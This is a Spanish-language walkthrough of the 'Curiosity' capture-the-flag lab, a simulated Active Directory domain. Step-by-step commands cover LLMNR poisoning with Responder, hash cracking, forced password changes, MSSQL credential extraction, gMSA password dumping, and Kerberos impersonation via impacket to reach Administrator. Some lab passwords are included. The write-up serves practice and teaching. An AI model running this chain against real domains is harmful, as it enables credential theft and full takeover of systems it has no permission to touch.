The Hackers Labs Curiosity (Windows, Experto)

Introducción

La máquina «Curiosity», ofrecida por la plataforma TheHackersLabs, presenta un entorno simulado de Active Directory especialmente diseñado para poner a prueba diversas técnicas de pentesting y explotación. Este desafío involucra un análisis exhaustivo del dominio, comenzando con enumeraciones iniciales como DNS, RPC y SMB para identificar posibles vectores de ataque.

En la primera fase, utilizamos ataques de envenenamiento LLMNR para interceptar y capturar hashes NTLMv2, los cuales podemos posteriormente crackear para obtener credenciales iniciales y acceso al sistema. A partir de allí, realizamos un reconocimiento avanzado utilizando herramientas como BloodHound, revelando vulnerabilidades críticas que nos permiten abusar de permisos específicos, incluyendo «Force Change Password», lo que facilita el pivote hacia nuevas cuentas dentro del dominio.

Mediante la explotación de fugas de información (Information Leakage) y técnicas como AS-REP Roasting, identificamos y obtenemos nuevos hashes almacenados en bases de datos MSSQL accesibles, permitiendo el acceso a usuarios adicionales tras romper estas contraseñas mediante cracking. Posteriormente, aprovechamos permisos específicos como «ReadGMSAPassword» para extraer hashes de cuentas administradas grupalmente (GMSA).

Finalmente, abusando del permiso «AllowToAct» y mediante técnicas avanzadas como Pass The Ticket (PTT), somos capaces de impersonar al usuario Administrador, obteniendo así control completo sobre el sistema comprometido. La máquina «Curiosity» cubre un amplio rango de técnicas esenciales en entornos Active Directory, destacándose por su enfoque práctico en ataques escalonados, pivoting y explotación avanzada de privilegios dentro de un dominio corporativo.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Curiosity, realizando una enumeración rápida de los servicios disponibles.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -Pn -n --min-rate 2500 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:26 CET
Nmap scan report for 192.168.56.8
Host is up (0.00029s latency).
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49685/tcp open  unknown
49686/tcp open  unknown
49688/tcp open  unknown
49691/tcp open  unknown
49703/tcp open  unknown
49721/tcp open  unknown
MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 29.99 seconds

Una vez listados los puertos de la máquina objetivo, continuamos realizando una enumeración profunda de los servicios activos.

┌──(kali㉿kali)-[~]
└─$ nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sVC -Pn -n 192.168.56.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-19 17:27 CET
Nmap scan report for 192.168.56.8
Host is up (0.00066s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 16:28:03Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
|_ssl-date: 2025-03-19T16:28:50+00:00; -1s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
MAC Address: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:78:54:92 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time: 
|   date: 2025-03-19T16:28:42
|_  start_date: 2025-03-19T16:25:36

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.73 seconds

Añadimos el nombre del dominio y del controlador al fichero /etc/host:

┌──(kali㉿kali)-[~]
└─$ echo '192.168.56.8 DC.hackme.thl hackme.thl' | sudo tee -a /etc/hosts
192.168.56.8 DC.hackme.thl hackme.thl

Enumeración de Kerberos

Utilizaremos para ello la herramienta kerbrute

./kerbrute_linux_amd64 userenum --dc 192.168.56.8 -d hackme.thl 'SecLists/Usernames/xato-net-10-million-usernames-dup.txt' 

Pero no pudimos encontrar la contraseña con el diccionario rockyou

Envenenamiento de red

Otro ataque que podemos realizar es el envenenamiento de red con el que vamos a tratar de obtener hashes NTLM de usuarios del sistema.

sudo responder -I eth2

Copiamos el hash en un archivo txt y desciframos con john

john --wordlist=/home/kali/Downloads/rockyou.txt hash2

Enumeración SMB

Ahora que hemos obtenido credenciales del objetivo, vamos a tratar de obtener información del obejtivo a través del servicio SMB.

nxc smb 192.168.56.8 -u jdoe -p '...' --shares

enum4linux-ng -A 192.168.56.8 -u 'jdoe' -p '$pr1ng@'

Localizamos unas segundas credenciales para el usuario osama.

Acceso al sistema. Explotación.

En la fase de enumeración hemos localizado unas credenciales para el usuario «jdoe». Vamos a probar para que servicios son válidas estas credenciales.

nxc winrm 192.168.56.8 -u jdoe -p '...'
nxc smb 192.168.56.8 -u jdoe -p '...'

Comprobamos que tenemos conexión a través de WinRM.

evil-winrm -i 192.168.56.8 -u jdoe -p '...'

Obtenemos el acceso a la máquina Curiosity y la flag de usuario con bajos privilegios.

# Pivotando a usuario dba_adm

Una vez hemos obtenido el acceso al sistema, vamos a continuar el camino hacia el control total del objetivo.

Vamos a enumerar el contenido del dominio. Para ello, utilizaremos la herramienta bloodhound-python

Haciendo un poco de enumeración para el usuario jdoe, vemos que pertenece al grupo IT Admins

Comprobamos que los usuarios pertenecientes a este grupo pueden cambiar la contraseña del usuario dba_admn.

Para cambiar la contraseña del usuario dba_adm vamos a utilizar rpcclient, utilziando para ello las credenciales del usuario jdoe y el módulo setuserinfo2.

rpcclient -U hackme.thl/jdoe 192.168.56.8

Ahora vamos a conectarnos como usuario dba_adm con la nueva contraseña aprovechando el servicio de winrm.

Pivotando a usuario sqlsvc

El nombre de este usuario parece indica que es administrador de bases de datos. Vamos a tratar de conectarnos al servidor MSSQL de forma local. Primero comprobaremos en registro si existe dicho servicio:

reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"

A continuación, procedemos a conectarnos al servicio

sqlcmd -S DC\SQLEXPRESS -E -Q "SELECT name FROM sys.databases"

Y solicitamos que nos muestre la información de Credentials

Copiamos el hash localizado y vamos a tratar de descifrarlo con john.

Como desconocemos en el diccionario donde se encuentra la password, vamos a utilizar el siguiente comando bash para ello

for dict in /home/kali/Music/herramientas/SecLists/Passwords/Leaked-Databases/*.txt; do john --format=raw-md5 --wordlist="$dict" sqlsvc.hash; done

Localizamos la contraseña del usuario sqlsvc

Pivondo a usuario GMSA_SVC$

Analizando privilegios y grupos, vemos que el usuario sqlsvc pertenece al grupo GMSA_USERS y que este grupo tiene como privilegio que sus miembros pueden leer la contraseña del usuario GMSA_SVC$

Vamos a tratar de volcar esta contraseña, utilizando para ello la herramienta nxc.

nxc ldap 192.168.56.8 -u 'hackme.thl\sqlsvc' -p 'P@ssword1234!' --gmsa

Volviendo a BloodHound

Vemos que el usuario GMSA_SVC$ tiene el privilegio AllowedToAct sobre el domain controller, lo cual nos va a permitir actuar en nombre de otro usuario.

Escalada de privilegios

El primer paso para la escalada de privilegios será obtener el TGT del usuario GMSA_SVC$

impacket-getTGT -dc-ip 192.168.56.8 -hashes ':89a..' 'hackme.thl/GMSA_SVC$' 

Exportamos el ticket

export KRB5CCNAME=/home/kali/Desktop/curiosity/GMSA_SVC\$.ccache

A continuación, con la herramienta impacket-getST obtendremos el TGT de administrador.

impacket-getST 'hackme.thl/GMSA_SVC$' -spn www/dc.hackme.thl -k -no-pass -impersonate administrator

Exportamos el ticket de usuario administrator

export KRB5CCNAME=/home/kali/Desktop/curiosity/administrator@www_dc.hackme.thl@HACKME.THL.ccache

Y accedemos al sistema como usuario administrator con privilegios NT SYSTEM

impacket-psexec administrator@dc.hackme.thl -k -no-pass

Tags:

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *